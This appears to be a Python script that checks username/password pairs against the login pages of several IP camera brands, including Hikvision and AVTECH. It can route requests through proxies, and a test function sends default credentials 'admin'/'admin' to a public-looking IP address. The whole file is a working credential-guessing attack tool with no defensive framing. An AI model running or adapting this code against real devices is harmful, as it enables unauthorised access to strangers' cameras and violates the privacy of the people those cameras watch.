import requests as r
import base64 as b64


def Broker(_proxy, _time):
    _res = 0
    while True:
        _target, _auth, _w = yield _res
        if _w == "SQ-WEBCAM":
            try:
                _rsp = r.post(f"{_target}/check_user.html", data={"UserName": _auth[0], "PassWord": _auth[
                    1], "+Apply+": "+Submit+"}, proxies=_proxy, timeout=_time)
                if b"Access denied!" not in _rsp.content and _rsp.status_code == 200:
                    _res = 1
                else:
                    _res = 0
            except Exception as e:
                print(e)
                _res = 0

        elif _w == "AVTECH-WEBCAM":
            try:
                _header = {"Content-Type": "application/x-www-form-urlencoded"}
                _rsp = r.post(f"{_target}/home.htm", headers=_header, data={"username": _auth[0], "password": _auth[
                    1], "Submit": "Submit"}, proxies=_proxy, timeout=_time)
                if b"Username or password is invalid" not in _rsp.content and b" not permission to access" not in _rsp.content and _rsp.status_code == 200:
                    _res = 1
                else:
                    _res = 0
            except Exception as e:
                print(e)
                _res = 0

        elif _w == "App-webs":
            try:
                _rsp = r.head(f"{_target}/ISAPI/Security/userCheck",
                              proxies=_proxy, timeout=_time, auth=_auth)
                if _rsp.status_code == 200:
                    _res = 1
                else:
                    _res = 0
            except Exception as e:
                print(e)
                _res = 0

        elif _w == "Hikvision-webs":
            try:
                _header = {
                    "Authorization": f"Basic {b64.b64encode(':'.join(_auth).encode(encoding='utf-8')).decode()}"}
                _rsp = r.get(f"{_target}/PSIA/Custom/SelfExt/userCheck",
                             headers=_header, proxies=_proxy, timeout=_time)

                if b"Unauthorized" not in _rsp.content and _rsp.status_code == 200:
                    _res = 1
                else:
                    _res = 0
            except Exception as e:
                print(e)
                _res = 0

        else:
            # Hipcam RealServer| mini_httpd|
            try:
                _status = r.head(_target, auth=_auth, timeout=_time,
                                 proxies=_proxy).status_code
                if _status == 200:
                    _res = 1
                else:
                    _res = 0
            except Exception as e:
                print(e)
                _res = 0


def Test():
    # _proxy = {"http": "http://192.170.18.231:8787"}
    # _proxy = {"http:":"http://127.0.0.1:8089"}
    _proxy = None
    _B = Broker(_proxy, 4)
    next(_B)
    _res = _B.send(("http://188.26.96.55",
                    ("admin", "admin"), "App-webs"))
    print(_res)

if __name__ == '__main__':
    Test()
